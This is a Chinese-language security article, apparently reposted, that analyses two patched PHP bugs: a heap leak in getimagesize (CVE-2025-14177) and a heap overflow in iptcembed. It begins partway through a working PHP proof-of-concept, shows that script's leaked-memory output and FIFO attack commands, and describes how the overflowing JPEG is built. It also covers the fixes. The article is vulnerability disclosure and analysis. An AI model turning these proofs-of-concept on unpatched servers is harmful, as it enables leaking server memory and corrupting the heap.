一次一口吃掉大象:PHP中与JPEG相关的内存安全漏洞

admin 2026-06-07 23:33:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析PHP内核ext/standard扩展中两个JPEG处理相关的内存安全漏洞:getimagesize函数在读取多块APP段时存在堆内存泄露(CVE-2025-14177),iptcembed函数在重新打包JPEG时发生堆缓冲区溢出。文章从Zend引擎架构切入,详细解析漏洞成因、利用方法及PoC演示,揭示PHP原生函数底层C代码的边界检查缺失风险,建议开发者加强对核心函数的安全审计。 综合评分: 87 文章分类: 漏洞分析,WEB安全,二进制安全,安全开发,红队


distinct allocations   $spray[$i] = $x; } unset($spray, $x); gc_collect_cycles(); // Read through a filter to enforce multiple reads $src = ‘php://filter/read=string.rot13|string.rot13/resource=’ . $file; $info = null; if (!@getimagesize($src, $info) || !isset($info[‘APP1’])) {   echo “Error: failed to obtain APP1 from getimagesize().\n”;   exit(1); } $exp = $payload; $ret = $info[‘APP1’]; // Human-readable output $lenExp = strlen($exp); $lenRet = strlen($ret); echo “APP1 length: expected=$lenExp, actual=$lenRet\n”; echo “Expected APP1 head (HEX): “, bin2hex(substr($exp, 0, 16)), “\n”; echo “Returned APP1 head (HEX): “, bin2hex(substr($ret, 0, 16)), “\n”; echo ($exp === $ret)   ? “Result: OK – data matches.\n”   : “Result: VULNERABLE – data differs (corruption/leak).\n”; // If found – show marker offset and a short snippet $pos = strpos($ret, $marker); if ($pos !== false) {   echo “Leak marker found: offset=$pos (inside returned APP1).\n”;   $ctx = 12;   $start = max(0, $pos – $ctx);   $end = min(strlen($ret), $pos + strlen($marker) + $ctx);   $before = substr($ret, $start, $pos – $start);   $mid    = substr($ret, $pos, strlen($marker));   $after  = substr($ret, $pos + strlen($marker), $end – ($pos + strlen($marker)));   $sanitize = function ($s) {     return preg_replace(‘/[^\x20-\x7E]/’, ‘.’, $s);   };   $asciiLine = $sanitize($before) . ‘[‘ . $mid . ‘]’ . $sanitize($after);   $hexLine = bin2hex($before) . ‘[‘ . bin2hex($mid) . ‘]’ . bin2hex($after);   echo “Snippet with marker (ASCII, marker in []): “, $asciiLine, “\n”;   echo “Snippet with marker (HEX, marker in []):   “, $hexLine, “\n”; } else if ($exp !== $ret) {   echo “Marker not found, but data differs – still indicates a read bug.\n”; }

执行后成功读到了本应无法访问的堆数据。

$ ./php cli.php APP1 length: expected=16507, actual=16507 Expected APP1 head (HEX): 41414141414141414141414141414141 Returned APP1 head (HEX): 4242424242425a5a5a5a5a5a5a5a5a5a Result: VULNERABLE – data differs (corruption/leak). Leak marker found: offset=16392 (inside returned APP1). Snippet with marker (ASCII, marker in []): -MARKER-123![LEAK-MARKER-123!]LEAK-MARKER- Snippet with marker (HEX, marker in []):   2d4d41524b45522d31323321[4c45414b2d4d41524b45522d31323321]4c45414b2d4d41524b45522d

PoC 2:无过滤器场景。这个变体更贴近真实Web场景(比如从php://input上传并读取),通过控制输入流的发送节奏来触发多块读取。用两个简单脚本:一个模拟上传处理程序(webapp.php),从请求体读JPEG并调用getimagesize;另一个攻击脚本(attacker.php)生成带大APP1段的合法JPEG,分两阶段发送——先发送到APP1段数据的前缀,短暂停顿后再发送剩余部分。默认块大小8192字节,这样就能触发多块读取。

演示时使用FIFO管道:

$ mkfifo /tmp/php-image-poc; ./php webapp.php < /tmp/php-image-poc Result: VULNERABLE (APP1 does not start with Exif) Snippet (ASCII): AAAAKER-123![LEAK-MARKER-123!]LEAK-MARKER-

另一个终端:

$ ./php attacker.php > /tmp/php-image-poc Sending JPEG in 2 phases: total=9038 split_at=24 sleep_us=50000

返回的数据里出现了本不该泄漏的堆内存,证明漏洞利用成功。

修复

修复非常精准:每次读取后缓冲区指针向前移动(buffer += read_now),保证下一个块顺序追加。这次更改在提交“Fix GH-20584”里引入,并附带回归测试。

缺陷二:iptcembed中的堆缓冲区溢出

公开问题:https://github.com/php/php-src/issues/20582

怎么回事

这是典型的“量一次、读到天荒地老”陷阱。iptcembed函数靠单次fstat()结果来分配堆缓冲区大小,然后死命读字节流直到EOF,根本不检查缓冲区容量。

iptcembed[4]用来把二进制IPTC数据嵌入JPEG图片。函数接口:iptcembed(string $iptc_data, string $filename, int $spool = 0): string|bool

技术细节:只量一次,一直写

输出缓冲区(spoolbuf)基于fstat()返回的st_size预分配。之后每读一个字节都往缓冲区末尾追加,从不检查有没有地方。对于非普通文件(如FIFO),st_size为0,但流本身没有固定大小,导致堆缓冲区溢出。即使普通文件,也存在TOCTOU窗口:fstat之后、读取完成之前,文件大小可能改变。

为什么这样构造

FF D8是SOI起始标记;最小APP0段让解析器接受文件;最小SOS段后,代码进入php_iptc_read_remaining,无脑复制至EOF;8MiB的’A’尾巴让一个极小的缓冲区彻底溢出。而spool参数默认0,默认分配spoolbuf,如果spool>=2,则根本不使用缓冲区,也就触发不了溢出。

修复

厂商在2025年11月26日通过PR引入修复。给php_iptc_get1和php_iptc_put1函数增加spoolbuf_end参数,强制边界检查。如果缓冲区已满就返回EOF,不再越界写。

if (spoolbuf) {   if (UNEXPECTED(*spoolbuf >= spoolbuf_end)) {     return EOF;   }   *(*spoolbuf)++ = c; }

在iptcembed中计算边界,并加入错误处理路径:如果写操作因缓冲区满而返回EOF,则跳转到清理标签,释放内存并返回FALSE,同时显式设置结束空字节,确保字符串正确终止。

结论

我们掀开PHP的引擎盖,看了ext/standard模块里图像处理相关的两个堆内存漏洞。这些原生函数底层C代码直接处理不可信数据,即便在成熟组件里,这类片段依然是漏洞来源。getimagesize的内存泄露(CVE-2025-14177)和iptcembed的堆缓冲区溢出都已被修复,但它们的存在提醒我们,对外部数据格式的解析机制值得继续仔细审计。

感谢阅读。


参考资料

[1] https://github.com/php/php-src/security/advisories/GHSA-3237-qqm7-mfv7

[2] https://github.com/php/php-src/issues/20584

[3] https://www.php.net/manual/en/function.getimagesize.php

[4] https://www.php.net/manual/en/function.iptcembed.php

[5] https://swarm.ptsecurity.com/hack-the-elephant-one-bite-at-a-time-jpeg-related-memory-safety-bugs-in-php/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《一次一口吃掉大象:PHP中与JPEG相关的内存安全漏洞》

评论:0   参与:  0